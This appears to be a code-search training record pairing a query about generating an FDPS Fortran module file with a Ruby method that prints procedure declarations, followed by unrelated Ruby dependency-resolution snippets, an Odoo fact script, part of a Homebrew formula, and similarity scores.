"def lookup_dependencies(cookbook, checked = {})\n Berkshelf.log.debug \" Looking up dependencies for #{cookbook}\"\n\n dependencies = []\n\n lockfile.graph.find(cookbook).dependencies.each do |name, _|\n next if checked[name]\n\n # break cyclic graphs\n checked[name] = true\n\n # this is your standard depth-first tree traversal with the deps first...\n dependencies += lookup_dependencies(name, checked)\n # ..then the node itself\n dependencies << name\n end\n dependencies\n end",
"def dependencies; end",
"def dependencies; end",
"def dependencies; end",
"def process_dependencies(data)\n import_paths = data.scan(IMPORT_SCANNER).flatten.compact.uniq\n import_paths.each do |path|\n pathname = begin\n #TODO: use resolve to partialize paths\n context.resolve(path)\n rescue Sprockets::FileNotFound\n nil\n end\n \n unless pathname.nil? || passthrough?(pathname)\n # mark dependency in Sprockets context\n context.depend_on(path)\n # recurse for more dependencies\n process_dependencies File.read(pathname)\n end\n end\n end",
"def dependency_paths\n @dependency_paths ||= [\n *Dir.glob(config.pwd.join(\"**/node_modules/*/package.json\")),\n *Dir.glob(config.pwd.join(\"**/node_modules/@*/*/package.json\"))\n ].each_with_object({}) do |file, hsh|\n begin\n dirname = File.dirname(file)\n json = JSON.parse(File.read(file))\n hsh[\"#{json[\"name\"]}@#{json[\"version\"]}\"] = dirname\n rescue JSON::ParserError\n # don't crash execution if there is a problem parsing a package.json file\n # if the bad package.json file relates to a package that licensed should be reporting on\n # then this will still result in an error about a missing package\n end\n end\n end",
"def direct_dependencies; end",
"def parse_podfile_dependencies(path)\n podfile_dir = get_dir(path, 'lock', 'Podfile')\n podfile = File.join(podfile_dir, 'Podfile.lock')\n data = File.read(podfile)\n dependencies = data.split('DEPENDENCIES:')[0]\n dependencies.scan /- (\\S+) \\(([\\.\\d]+)+\\)/\n end",
"def swift_deps_files_in_dir(object_files_dirs)\n\t\tdirs = Array(object_files_dirs)\n\t\tdirs.each do |dir|\n\t\t Dir.glob(\"#{dir}/*.swiftdeps\") { |file| yield file }\n\t\tend\n\tend",
"def file_autorequires(values)\n requires = []\n values.each do |v|\n case v\n when %r{^(?:\\/[^\\/]+)+\\/?$}\n # File\n requires << v\n when %r{^(?:proxy:)?([a-z]+):((?:\\/[^\\/]+)+)$}\n # Lookup table\n case Regexp.last_match(1)\n when 'btree', 'hash'\n requires << \"#{Regexp.last_match(2)}.db\"\n when 'cdb'\n requires << \"#{Regexp.last_match(2)}.cdb\"\n when 'dbm', 'sdbm'\n requires << \"#{Regexp.last_match(2)}.dir\"\n requires << \"#{Regexp.last_match(2)}.pag\"\n when 'lmdb'\n requires << \"#{Regexp.last_match(2)}.lmdb\"\n else\n # Apart from the above exceptions, target the source file\n requires << Regexp.last_match(2)\n end\n end\n end\n requires\n end",
"def deps(sequence)\n return [] unless checker.valid? # Exit early if it's bad data\n all = [] # Start collecting the list.\n CeleryScript::TreeClimber.travel(tree, ->(n) {\n # Iterate over each node, looking for \"args of interest\".\n # Tools, sub sequences, etc.\n ARGS_OF_INTEREST.map do |arg, klass|\n id = n&.args&.fetch(arg, nil)&.value\n all.push(klass.find(id)) if id\n end\n })\n\n # Filter out the target sequence to prevent runaway recursion.\n # It would be impossible to delete recursive sequences otherwise.\n all.select! { |d| !(d.is_a?(Sequence) && (d.id == sequence.id)) }\n\n # Finally, output the data in a format that can directly be used by\n # SequenceDependency#create!().\n return all.uniq.map do |d|\n { sequence: sequence, dependency_type: d.class, dependency_id: d.id }\n end\n end",
"def getDependencies service\r\n deps = []\r\n Util.csprojs(service).each do |csproj|\r\n deps += getDeps(csproj) \r\n end\r\n return deps.uniq\r\nend",
"def collect_dependencies(dependency, known_dependencies: {})\n dep_spec = dependency.matching_specs\n return known_dependencies if dep_spec.empty?\n\n dep_spec = dep_spec.first\n known_dependencies[dep_spec.name] = dep_spec.version\n dep_spec.dependencies.each do |dep|\n unless known_dependencies.has_key?(dep.name)\n collect_dependencies(dep, known_dependencies: known_dependencies)\n end\n end\n known_dependencies\n end",
"def lookup_direct_dependencies!(source)\n return [] unless source\n\n source.dependencies.map do |dependency|\n result = provides_tree.glob(\"/#{dependency}\")\n if (!result || (result.is_a?(Array) && result.empty?))\n Jsus.logger.warn \"#{source.filename} is missing #{dependency.is_a?(SourceFile) ? dependency.filename : dependency.to_s}\"\n end\n result\n end.flatten.map {|tag| lookup(tag) }\n end",
"def dependencies( names )\n names.each do |name|\n if calculation = fetch( name, nil )\n calculation.dependencies.each do |dependency|\n names << dependency unless names.include?( dependency )\n end\n end\n end\n end",
"def runtime_dependencies\n dependencies.select(&:runtime?)\n end",
"def gem_dependencies(list, gem_dependencies, options = {})\n gem_dependencies.each do |gd|\n if options['excludes'] && options['excludes'].to_s.split(',').include?(gd.name)\n next\n end\n\n gs = gd.matching_specs.first\n if gs\n unless list[gs.name]\n list[gs.name] = gs\n unless gs.dependencies.empty?\n list = gem_dependencies(list, gs.dependencies, options)\n end\n end\n else\n unless list[gd.name]\n list[gd.name] = Gem::Specification.new(\n gd.name,\n gd.requirements_list.last.scan(/[\\d\\.\\w]+/).first\n )\n rm_dep = remote_dependencies(gd.name, gd.requirements_list.last)\n unless rm_dep.empty?\n list = gem_dependencies(list, rm_dep, options)\n end\n end\n end\n end\n\n list\n end",
"def parse_deps(input)\n matches = input.scan(/\\s+-\\s+\\[ \\]\\s+(\\S+)\\s+(\\S+\\s+[0-9.]+)/) || []\n\n gemspecs = matches.map do |match|\n {:name => match[0], :version => match[1]}\n end\n\n # NOTE: These gemspecs are gems that are not yet loaded. We don't know if\n # they are installed or not, so we don't know for sure if the\n # dependency will be met at runtime. So, we'll execute a gem command\n # to check to see if these are installed and ignore the ones that\n # already are.\n gemspecs.delete_if do |gemspec|\n cmd = \"gem list #{gemspec[:name]} -i -l\"\n if gemspec[:version]\n cmd << \" -v '#{gemspec[:version]}'\"\n end\n `#{cmd}` =~ /true/\n end\n\n return gemspecs\n end",
"def objects\n expand_sources(@sources).map { |x| x.gsub(/\\.c$/, '.o') }\n end",
"def dependencies(options: {})\n\n Collection.new(parse(client.get(\"/tasks/#{gid}/dependencies\", options: options)), type: self.class, client: client)\n end",
"def dependencies\n manager.dependencies\n end",
"def get_dependencies(module_name)\n module_data = @forge.get_module_data(module_name)\n metadata = module_data.current_release.metadata\n get_dependencies_from_metadata(metadata)\n end",
"def locked_specs_as_deps\n deps = @dependencies & @locked_deps\n\n @dependencies.each do |dep|\n next if deps.include?(dep)\n deps << dep if @locked_specs.any? { |s| s.satisfies?(dep) }\n end\n\n meta_deps = @locked_specs.for(deps).map do |s|\n dep = Gem::Dependency.new(s.name, s.version)\n @locked_deps.each do |d|\n dep.source = d.source if d.name == dep.name\n end\n dep\n end\n end",
"def makedepends\n res = []\n\n if @sources.nil?\n log.error self.to_s\n raise 'Missing sources'\n end\n\n # Generate the targets and rules for each translation unit\n expand_sources(@sources).each do |src|\n next if src =~ /\\.o$/\n cc = @project.cc\n cc.flags = [ @cflags, '-E' ]\n cc.output = '-'\n cc.sources = src\n #TODO: topdir\n cmd = cc.command + Platform.dev_null_stderr\n end\n res\n end",
"def getHeaderDependencesAbsOrRel(builder, srcfile, print)\n\t\tif print\n\t\t\tputs \"running gcc dependence printer on #{srcfile}\"\n\t\tend\n\t\t\n\t\t#don't need to src2build() the output dir because the builder's dir is already under the build tree\n\t\toutfilename = @tmpdir.join('includes.list') #write to file in case stdout gets muddied by preprocessor errors\n\t\t\n\t\t#gcc -M flag lists included headers; with -M, -MG means assume missing files are generated, and -MF specifies outfilename for header list\n\t\tcmd = \"#{compileCmd(srcfile)} #{@INCDIRS.map {|dirpath| \"-I#{dirpath}\"}.join(' ')} -MF #{outfilename} -M -MG #{srcfile.to_s}\"\n\t\t\n#\t\tputs cmd\n\t\t`#{cmd}`\n\t\tif $?.to_i != 0\n\t\t\traise \"gcc dependence printer found errors; killing rake\"\n\t\telse\n\t\t\tfid = File.open(outfilename)\n\t\t\toutput = fid.map {|line| line.to_s}.join('')\n\t\t\tfid.close()\n\t\t\t`#{$RM} #{outfilename}`\n\t\t\tfilenames = output.gsub(/\\\\\\n/, ' ').gsub(/:\\s+/, ' ').gsub(/([^\\\\])\\s+/, \"\\\\1 \").split(/\\s+/) #regexes specific to gcc-like output\n\t\t\tfilenames.shift; filenames.shift #remove object filename and source filename; rest are headers\n\t\t\treturn filenames\n\t\tend\n\tend",
"def object_files(sources)\n res = []\n sources.sort.each do |s|\n res.push s.sub(/.c$/, Platform.object_extension)\n end\n res\n end",
"def process_project_dependencies\n recipes.each do |rec_obj|\n rec_obj.process_project_dependencies\n end\n end",
"def detect(objects)\n modules = objects.map do |object|\n object.is_a?(Module) ? object : object.class\n end.uniq\n\n paths = modules.flat_map do |mod|\n hierarchy_fetcher.ancestors_for(mod).flat_map do |ancestor|\n definition_tracer.constants_definition_paths[ancestor]\n end\n end.compact.uniq\n\n filter paths\n end",
"def dependencies(ctx)\n @i_name ||= ctx.lookup(name).i_name\n s = Set.new\n s << i_name\n s\n end",
"def dependency_links\n if @dependencies.nil?\n # Build the mapping: feature identifier => feature\n features_by_id = id2features\n\n # Resolve the dependency tags\n resolve_dependencies(features_by_id)\n end\n\n return @dependencies\n end"
] |
[
"0.7069585",
"0.69625485",
"0.66465575",
"0.6525914",
"0.64900213",
"0.6469389",
"0.64443696",
"0.64443696",
"0.64443696",
"0.64443696",
"0.63890594",
"0.6342516",
"0.633928",
"0.6333779",
"0.6324865",
"0.63203615",
"0.62962294",
"0.6197755",
"0.61847746",
"0.6172639",
"0.61430866",
"0.61238354",
"0.61031526",
"0.6084012",
"0.6082833",
"0.6079703",
"0.60548943",
"0.6000493",
"0.59988314",
"0.5989261",
"0.5974347",
"0.59500426",
"0.593329",
"0.5924843",
"0.5911489",
"0.5909232",
"0.5885174",
"0.5884099",
"0.5878455",
"0.5874342",
"0.58650124",
"0.5858072",
"0.5830736",
"0.5823855",
"0.5808233",
"0.5801979",
"0.5800531",
"0.5793183",
"0.57905763",
"0.5789072",
"0.57840127",
"0.57811433",
"0.57712543",
"0.5767113",
"0.57399964",
"0.5739228",
"0.57252645",
"0.5723008",
"0.57219845",
"0.5721309",
"0.5721309",
"0.5721309",
"0.57151026",
"0.57098764",
"0.56808573",
"0.56804204",
"0.5668391",
"0.5650033",
"0.5645582",
"0.56275505",
"0.56262857",
"0.5617882",
"0.5617882",
"0.5617882",
"0.56058604",
"0.5600672",
"0.55836755",
"0.55780464",
"0.55757487",
"0.5565408",
"0.5552727",
"0.554887",
"0.5543595",
"0.55409807",
"0.55390054",
"0.553646",
"0.55329967",
"0.55185986",
"0.5516834",
"0.55039686",
"0.54919857",
"0.54781556",
"0.54671186",
"0.5465497",
"0.5459603",
"0.5458113",
"0.5457067",
"0.5441842",
"0.54401743",
"0.5428912"
] |
0.71190846
|
0
|
add_cominfo_if_fortran.rb create new (Version 7) FDPS_module_blueprint.F90 from old one (version 6)
|
def process_interface_additions
print <<EOF
procedure :: ci_initialize
procedure :: ci_set_communicator
procedure :: ci_delete
procedure :: ci_create
procedure :: ci_split
EOF
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def modify_Add(inst_inf,mode)\n\n # collect Target Macro detail\n module_name = inst_inf.ModuleName\n verilog = inst_inf.ReplaceVerilogFile\n inst_name = inst_inf.InstName\n\n # Get Signal Information of New Macro\n signal_db, new_signal_db = get_SignalDB_from_Verilog(inst_inf,module_name,verilog)\n\n # Add FileControl\n FMakeFileControl::Verilog.add(verilog)\n\n # For Multi-Hier\n upper_module,inst_name = resolve_MultiHier(inst_inf)\n\n case mode\n when \"MODULE\"\n # add Instance inf\n printf \"add Instance(%s) ...\", inst_inf.InstName\n XMLParse::add_Instance(@root,upper_module,[module_name,inst_name],@CONF_DB)\n # add Port\n signal_db.each_key do |name|\n XMLParse::add_InstancePort(@root,upper_module,inst_name,{\"#{name}\" => nil},@CONF_DB)\n end\n printf \"OK\\n\"\n when \"CONNECT-HIGH\"\n # Connect Change\n apply_ConnectChange(inst_inf,signal_db,nil,\"High\")\n when \"CONNECT-NORMAL\"\n # Connect Change\n apply_ConnectChange(inst_inf,signal_db,nil,\"Normal\")\n end\n\n return new_signal_db\n end",
"def main(exe_mode=nil)\n # 1st Step (MODE : MODULE)\n printf(\"@I:XML Modify for changing about Module only.\\n\") if $VERBOSE\n mode = \"MODULE\"\n\n # Get Using ModuleName\n module_list = XMLParse::get_ModuleList(@root)\n inst_list = Array.new\n module_list.each do |mod_name|\n inst_list += XMLParse::get_InstanceList(@root,mod_name)\n end\n module_list = Array.new\n inst_list.each do |inf|\n module_list << inf[0]\n end\n\n # Check illegal Module Name\n @CONF_DB.INST.each_value do |inst_inf|\n case inst_inf.MacroType.downcase\n when \"keepchange\",\"replace\",\"remove\",\"keepkeep\"\n if module_list.index(inst_inf.ModuleName).nil?\n FMakeMessage.PrintError( :category => \"CONF\", :no => 139, :mod_name => inst_inf.ModuleName, :conf_file => inst_inf.CONF_FILE, :line_no => inst_inf.InsLineNo)\n end\n \n if inst_inf.InstName != resolve_Hier_from_Instance(inst_inf.InstName.split(\".\"))[0][1]\n FMakeMessage.PrintError( :category => \"CONF\", :no => 140, :inst_name => inst_inf.InstName, :conf_file => inst_inf.CONF_FILE, :line_no => inst_inf.InsLineNo)\n end \n\n end\n end\n \n @CONF_DB.INST.each_value do |inst_inf|\n # Save & Check & Print\n# @circuit_inf.add_macro(inst_inf) \n # When \"BlackBox\" Mode, Force Change\n if exe_mode == \"BlackBox\"\n inst_inf.MacroType = \"Remove\"\n end\n case inst_inf.MacroType\n when \"KeepKeep\"\n # do nothing\n when \"KeepChange\"\n modify_KeepChange(inst_inf,mode)\n when \"Add\",\"add\",\"ADD\"\n modify_Add(inst_inf,mode)\n when \"Replace\",\"replace\",\"REPLACE\"\n modify_Replace(inst_inf,mode)\n when \"Remove\",\"remove\",\"REPLACE\"\n # No-execute( Remove operation will execute last )\n# modify_Remove(inst_inf,mode,exe_mode)\n end\n end\n\n # DataBase Update\n XMLParse::get_ModuleList(@root).each do |current_module|\n XMLParse::update_ConnectData(@root,current_module)\n end\n\n # 2nd Step (MODE : CONNECT-HIGH)\n printf(\"@I:XML Modify for changing about Connection only( Priority : High ).\\n\") if $VERBOSE\n mode = \"CONNECT-HIGH\"\n @CONF_DB.INST.each_value do |inst_inf|\n printf(\"\\n================================\\n@I:XML Modify for %s\\n================================\\n\",inst_inf.InstName)\n case inst_inf.MacroType\n when \"KeepKeep\"\n # do nothing\n when \"KeepChange\"\n modify_KeepChange(inst_inf,mode)\n when \"Add\",\"add\",\"ADD\"\n modify_Add(inst_inf,mode)\n when \"Replace\",\"replace\",\"REPLACE\"\n modify_Replace(inst_inf,mode)\n when \"Remove\",\"remove\",\"REPLACE\"\n # do nothing\n end\n end\n\n # Check FPGA Terminal\n if @CONF_DB.PIN_SDC != nil\n printf(\"@I:Execute checking between Pin Location in SDC File(%s) and FPGA Terminal.\\n\",@CONF_DB.PIN_SDC)\n terminalList = XMLParse::get_TerminalList(@root,@TOP_MODULE)\n pin_checker = PinChecker.new\n sdc_inf = pin_checker.get_SDCInf(@CONF_DB.PIN_SDC)[1]\n sdcList = Array.new\n sdc_inf.each do |each_inf|\n sdcList << each_inf.FPGASignal\n end\n terminalList.sort\n sdcList.sort\n printf(\"@E:Unmatch between SDC Pin-Location and FPGA Terminal in HDL\\n\")\n printf(\"\\n[Common Signal]\\n\\n\")\n if ((terminalList - sdcList).size != 0 ) || ((sdcList - terminalList).size != 0 ) \n $WARNING_CNT += 1\n printf(\"\\n[Only Pin-Location in SDC File]\\n\\n\")\n p (sdcList - terminalList) \n printf(\"\\n[Only FPGA Teriminal in HDL]\\n\\n\")\n p (terminalList - sdcList) \n else\n printf(\"@I:Succesfull Pin Check.\\n\")\n end\n end\n \n # 3rd Step (MODE : CONNECT-NORMAL)\n printf(\"@I:XML Modify for changing about Connection only( Priority : Normal ).\\n\") if $VERBOSE\n mode = \"CONNECT-NORMAL\"\n @CONF_DB.INST.each_value do |inst_inf|\n new_signal_db = nil\n printf(\"\\n================================\\n@I:XML Modify for %s\\n================================\\n\",inst_inf.InstName)\n case inst_inf.MacroType\n when \"KeepKeep\"\n # do nothing\n when \"KeepChange\"\n modify_KeepChange(inst_inf,mode)\n when \"Add\",\"add\",\"ADD\"\n new_signal_db = modify_Add(inst_inf,mode)\n when \"Replace\",\"replace\",\"REPLACE\"\n new_signal_db = modify_Replace(inst_inf,mode)\n when \"Remove\",\"remove\",\"REPLACE\"\n # do nothing\n end\n\n # Make SCAN/TEST PULLDOWN\n printf \"@I:Make SCAN/TEST PULLDOWN operation.\\n\"\n modify_SCAN(inst_inf,mode,new_signal_db)\n printf \"Done.\\n\\n\"\n end\n\n if exe_mode == \"BlackBox\"\n filename = \"BlackBox.list\"\n printf(\"@I:gnerate BlackBox List File(%s)\\n\",filename)\n f = open(filename,\"w\")\n @BlackBoxFileList.each do |file|\n f.printf(\"%s\\n\",file)\n end\n f.close\n end\n\n # Delete Remove macro & HardMacro\n @CONF_DB.INST.each_value do |inst_inf|\n case inst_inf.MacroType\n when \"Remove\",\"remove\",\"REPLACE\"\n modify_Remove(inst_inf,mode,exe_mode)\n end\n end\n XMLParse::delete_HardMacro(@root)\n\n # Change TopModuleName from ${ORG} to ${ORG}_EVA \n XMLParse::change_ModuleName(@root,@TOP_MODULE,@TOP_MODULE + \"_EVA\")\n\n return @root\n end",
"def apply_ConnectChange(inst_inf,signal_db,add_signal_db=nil,priority)\n # get taget macro info\n module_name = nil, inst_name = nil\n case inst_inf.MacroType\n when \"Add\",\"ADD\",\"add\",\"KeepChange\",\"KEEPCHANGE\"\n module_name = inst_inf.ModuleName\n inst_name = inst_inf.InstName\n when \"Replace\",\"REPLACE\",\"replace\"\n module_name = inst_inf.ReplaceModuleName\n inst_name = inst_inf.InstName\n end\n \n # Get Connect List ( ex: [[\"MOD_CON\", \"./tp/ADD_MODULE.mod_con\"],[\"INST_CON\", \"./tp/ADD_MODULE.inst_con\"]] )\n connect_list = inst_inf.get_ConnectList\n\n connect_list.each do |connect|\n connect_file_type = connect[0] # MOD_CON/ADD_MOD_CON/INST_CON/ADD_INST_CON\n connect_file = connect[1] # File name \n \n # Get Conenct Inforamtion ( read & analyze conf )\n printf(\"@I:read Connect File(%s)\\n\",connect_file)\n connect = FMakeConnect.new(\n :file_type => connect_file_type,\n :con_file => connect_file,\n :module_name => module_name,\n :inst_name => inst_name\n )\n con_db = connect.analyze\n\n printf \"[Apply(change/add) Connection]\\n\"\n # XML Add/Modify each Port\n signal_db.each do |name,sig_all|\n if sig_all == nil\n if con_db.PIN_INF == {} # There is no change connection\n # Error : not enough to signal connect infomation\n FMakeMessage.PrintError( :category => \"CONNECT\", :no => 224, :inst_name => inst_name, :pin_name => name, :conf_file => con_db.CONNECT_FILE) \n else\n # New Port\n sig_all = add_signal_db[name]\n printf(\"@I:make new connect for %s\\n\",name)\n connect_change(sig_all,con_db,inst_name,connect_file_type,inst_inf,priority)\n end\n else\n # There is no change connection\n if con_db.PIN_INF == {} \n# sig_all.each do |sig|\n# connect = connect + \" \" + sig.Name\n# end\n printf(\"@I:Make connection(%s.%s) Indication:No-Change\\n\",inst_name,name)\n else\n printf(\"------------------------------------------------------\\n\")\n printf(\"@I:change connect for %s.%s\\n\",inst_name,name)\n printf(\"------------------------------------------------------\\n\")\n connect_change(sig_all,con_db,inst_name,connect_file_type,inst_inf,priority)\n end\n end\n end\n end\n \n end",
"def make_version_header(app_name, pkgname, dir = \"src\")\n version = PKGConfig.modversion(pkgname).split(/\\./)\n (0..2).each do |v|\n version[v] = \"0\" unless version[v]\n end\n filename = \"rb#{app_name.downcase}version.h\"\n\n puts \"creating #{filename}\"\n\n add_distcleanfile(filename)\n\n FileUtils.mkdir_p(dir)\n out = File.open(File.join(dir, filename), \"w\")\n\n out.print %Q[/* -*- c-file-style: \"ruby\"; indent-tabs-mode: nil -*- */\n/************************************************\n\n #{filename} -\n\n This file was generated by mkmf-gnome2.rb.\n\n************************************************/\n\n#ifndef __RB#{app_name}_VERSION_H__\n#define __RB#{app_name}_VERSION_H__\n\n#define #{app_name}_MAJOR_VERSION (#{version[0]})\n#define #{app_name}_MINOR_VERSION (#{version[1]})\n#define #{app_name}_MICRO_VERSION (#{version[2]})\n\n#define #{app_name}_CHECK_VERSION(major,minor,micro) \\\\\n (#{app_name}_MAJOR_VERSION > (major) || \\\\\n (#{app_name}_MAJOR_VERSION == (major) && #{app_name}_MINOR_VERSION > (minor)) || \\\\\n (#{app_name}_MAJOR_VERSION == (major) && #{app_name}_MINOR_VERSION == (minor) && \\\\\n #{app_name}_MICRO_VERSION >= (micro)))\n\n\n#endif /* __RB#{app_name}_VERSION_H__ */\n]\n out.close\nend",
"def modify_Replace(inst_inf,mode)\n\n # ----------------\n # - Original Macro \n # for Connect Information that does not change connection\n # ----------------\n org_module_name = inst_inf.ModuleName\n org_inst_name = inst_inf.InstName\n \n # ----------------\n # - Replace Macro\n # ----------------\n \n # collect Target Macro detail\n replace_module_name = inst_inf.ReplaceModuleName\n verilog = inst_inf.ReplaceVerilogFile\n\n # Add DB\n FMakeFileControl::Verilog.add(verilog)\n \n # For Multi-Hier\n connect_TargetInstance = resolve_Hier_from_Instance(org_inst_name.split(\".\"))\n if connect_TargetInstance == []\n $ERROR_CNT += 1\n printf(\"@E:Cannot resolve Hierarchy for %s\\n\",org_inst_name)\n printf(\" please check Conf File\")\n printf(\" or Rerun FMake after removed %s.\\n\",$TOP_XML_FILE)\n Common.print_summary\n exit\n end\n module_path = connect_TargetInstance[0][0].split(\".\")\n inst_path = connect_TargetInstance[0][1].split(\".\")\n module_path.pop # org_inst module\n upper_module = module_path.pop # Upper Module\n upper_module = @TOP_MODULE if upper_module == nil\n org_inst_name = inst_path.pop\n\n # Get Signal Information of New Macro\n replace_SignalInf, new_signal_db = get_SignalDB_from_Verilog(inst_inf,replace_module_name,verilog,@root)\n\n case mode\n when \"MODULE\"\n # Change Module\n if XMLParse::change_InstanceModule(@root,upper_module,org_inst_name,replace_module_name) == false\n FMakeMessage.PrintError( :category => \"CONF\", :no => 136, :inst_name => org_inst_name, :verilog_file => verilog, :conf_file => inst_inf.CONF_FILE, :line_no => inst_inf.InsLineNo)\n end\n when \"CONNECT-HIGH\",\"CONNECT-NORMAL\"\n# str = upper_module + \".\" + org_inst_name\n# @CONNECT_LIST[str] = XMLParse::get_ConnectList(@root,upper_module,org_inst_name) if @CONNECT_LIST[str].nil?\n# original_ConnectInf = @CONNECT_LIST[str]\n original_ConnectInf = XMLParse::get_ConnectList(@root,upper_module,org_inst_name)\n\n # make replace_ConnectInf (Merge Orignilan Connection & Connect Inf to replace_SignalInf)\n replace_ConnectInf = Hash.new\n replace_SignalInf.each do |port_name,signal_inf|\n connect_inf = original_ConnectInf[port_name]\n replace_ConnectInf[port_name] = connect_inf\n end\n\n # Delete Connection ( removed pin at Replace Macro )\n printf \"[Apply(delete) Instance Port] Replace Macro does not have following port.\\n\"\n (original_ConnectInf.keys - replace_SignalInf.keys).each do |pin|\n printf(\"@I:Delete connection(%s.%s)\\n\",org_inst_name,pin)\n if XMLParse::delete_InstancePort(@root,upper_module,org_inst_name,pin) == false\n printf(\"@Not Found %s in %s\\n\", pin,org_inst_name)\n exit\n end\n end\n printf(\"Done\\n\")\n \n # Add Connection ( add pin at Replace Macro )\n printf \"[Add Instance Port] Replace Macro have following new port.\\n\"\n (replace_SignalInf.keys - original_ConnectInf.keys).each do |pin|\n XMLParse::add_InstancePort(@root,upper_module,org_inst_name,{\"#{pin}\" => nil},@CONF_DB)\n end\n printf(\"Done\\n\")\n \n # Change Connection\n printf \"[Change Connection]\\n\"\n# apply_ConnectChange(inst_inf,replace_ConnectInf,replace_SignalInf)\n case mode\n when \"CONNECT-HIGH\"\n apply_ConnectChange(inst_inf,replace_SignalInf,replace_ConnectInf,\"High\")\n when \"CONNECT-NORMAL\"\n apply_ConnectChange(inst_inf,replace_SignalInf,replace_ConnectInf,\"Normal\")\n end\n printf(\"Done\\n\")\n end\n\n\n # Remove Original Module\n inst_all = Array.new\n @CONF_DB.INST.values.each do |inf|\n if inf.ModuleName == inst_inf.ModuleName\n inst_all << inf.InstName\n end\n end\n\n if inst_all - [inst_inf.InstName] == [] && /cell_pf/ !~ inst_inf.ModuleName\n XMLParse::delete_Module(@root,inst_inf.ModuleName) \n end\n return new_signal_db\n end",
"def test_fb_run_prepare_ff\n ifn = @@env + '_4.sdf'\n ofn = @@env + '_4.ff'\n\n ligands_sdf = File.join(@@env, @@lig + '.ligands.sdf')\n ali = File.join(@@env, @@lig + '.alignments.dat')\n pocket = File.join(@@env, @@lig + '.pockets.dat')\n templates = File.join(@@env, @@lig + '.templates.pdb')\n\n ruby_script = \"../src/prepare_ff.rb\"\n cmd = <<ff\nruby #{ruby_script} -l #{ifn} -i MOLID -o #{ofn} -s #{ligands_sdf} -a #{ali} -p #{pocket} -t #{templates} -n 1\nff\n\n puts \"\\nRunning\\t\\t#{cmd}\\n\"\n stdout_str, stderr_str, status = Open3.capture3(cmd)\n if status.success?\n puts \"write to\\t#{ofn}\\n\"\n else\n STDERR.puts \"Error running #{cmd}\\n\"\n exit 1\n end\n end",
"def create\n begin\n # create spec\n spec = RbVmomi::VIM.FcoeConfigFcoeSpecification(:underlyingPnic => resource[:physical_nic])\n\n # discover fcoe HBA\n host.configManager.storageSystem.DiscoverFcoeHbas(:fcoeSpec => spec)\n Puppet.notice(\"Successfully added the FCoE software adapter to the host.\")\n rescue Exception => e\n fail \"Unable to add FCoE software adapter because an unknown exception occurred. Make sure the specified physical network interface card (NIC), which needs to be associated with the FCoE, is valid, and then try again the operation. If the issue persists, verify the troubleshooting logs or contact your service provider: -\\n #{e.message}\"\n end\n end",
"def build_odoo_fact\n IO.popen(['odoo', 'shell', '--config=/etc/odoo/odoo.conf', '--no-http', '--workers=0'], 'r+') do |io|\n io.puts(<<~PYTHON)\n import re\n import json\n\n res = {}\n\n parts = re.split('[.-]', odoo.release.version)\n\n res['release'] = {\n 'full': odoo.release.version,\n 'major': parts[0],\n 'minor': parts[1],\n }\n if len(parts) > 2:\n res['release']['date'] = parts[2]\n\n res['databases'] = {}\n\n def module_info(addon):\n try:\n info = odoo.modules.get_manifest(addon)\n except AttributeError:\n # Odoo 16 deprecated load_information_from_description_file and alias it to get_manifest\n info = odoo.modules.load_information_from_description_file(addon)\n return {\n 'name': info.get('name'),\n 'version': info.get('version'),\n }\n\n for dbname in odoo.service.db.list_dbs(True):\n registry = odoo.registry(dbname)\n with registry.cursor() as cr:\n uid = odoo.SUPERUSER_ID\n ctx = odoo.api.Environment(cr, uid, {})['res.users'].context_get()\n env = odoo.api.Environment(cr, uid, ctx)\n\n res['databases'][dbname] = {}\n regex = re.compile('\\\\A__\\\\w*__\\\\Z')\n res['databases'][dbname]['addons'] = {}\n for addon in dir(odoo.addons):\n if not regex.match(addon):\n res['databases'][dbname]['addons'][addon] = module_info(addon)\n\n cr.rollback()\n\n print(json.dumps(res))\n PYTHON\n io.close_write\n io.read\n end\nend",
"def install\n ENV.deparallelize\n\n cd \"src\" do\n cp \"config/MAC.in\", \"config.in\"\n inreplace \"config.in\" do |s|\n s.change_make_var! \"CCPROG\", ENV.compiler\n s.change_make_var! \"CFPROG\", ENV[\"FC\"]\n s.change_make_var! \"CF90PROG\", ENV[\"FC\"]\n s.change_make_var! \"MCFPROG\", ENV[\"MPIFC\"]\n s.change_make_var! \"MPCCPROG\", ENV[\"MPICC\"]\n s.change_make_var! \"MPCXXPROG\", ENV[\"MPICXX\"]\n s.change_make_var! \"VERSIONBIT\", MacOS.prefer_64_bit? ? \"_64bit\" : \"_32bit\"\n\n libgfortran = `#{ENV[\"MPIFC\"]} --print-file-name libgfortran.a`.chomp\n s.change_make_var! \"EXTRALIB\", \"-L#{File.dirname(libgfortran)} -lgfortran -lm\"\n\n # set prefix\n s.gsub!(/#\\s*ROOT\\s*=/, \"ROOT = \")\n s.change_make_var! \"ROOT\", prefix\n s.gsub!(/#\\s*INCLUDEDIR\\s*=/, \"INCLUDEDIR = \")\n s.change_make_var! \"INCLUDEDIR\", include\n s.gsub!(/#\\s*LIBDIR\\s*=/, \"LIBDIR = \")\n s.change_make_var! \"LIBDIR\", lib\n s.gsub!(/#\\s*BINDIR\\s*=/, \"BINDIR = \")\n s.change_make_var! \"BINDIR\", bin\n s.gsub!(/#\\s*PYTHON_PREFIX\\s*=/, \" PYTHON_PREFIX = \")\n\n # shared library building\n s.gsub!(/#\\s*SHARED\\s*=/, \"SHARED = \")\n s.change_make_var! \"SHARED\", 1\n s.gsub!(/#\\s*SOEXT\\s*=/, \"SOEXT = \")\n s.gsub!(/#\\s*SHARED_FLAGS\\s*=/, \"SHARED_FLAGS = \")\n\n # activate FUNNELED mode\n s.gsub!(/#\\s*CCPASTIX\\s*:=\\s*\\$\\(CCPASTIX\\)\\s+-DPASTIX_FUNNELED/,\n\"CCPASTIX := \\$(CCPASTIX) -DPASTIX_FUNNELED\")\n\n s.gsub!(/#\\s*CCFDEB\\s*:=/, \"CCFDEB := \")\n s.gsub!(/#\\s*CCFOPT\\s*:=/, \"CCFOPT := \")\n s.gsub!(/#\\s*CFPROG\\s*:=/, \"CFPROG := \")\n\n s.gsub!(/SCOTCH_HOME\\s*\\?=/, \"SCOTCH_HOME=\")\n s.change_make_var! \"SCOTCH_HOME\", Formula[\"scotch\"].opt_prefix\n\n s.gsub!(/HWLOC_HOME\\s*\\?=/, \"HWLOC_HOME=\")\n s.change_make_var! \"HWLOC_HOME\", Formula[\"hwloc\"].opt_prefix\n\n if build.with? \"metis4\"\n s.gsub!(/#\\s*VERSIONORD\\s*=\\s*_metis/, \"VERSIONORD = 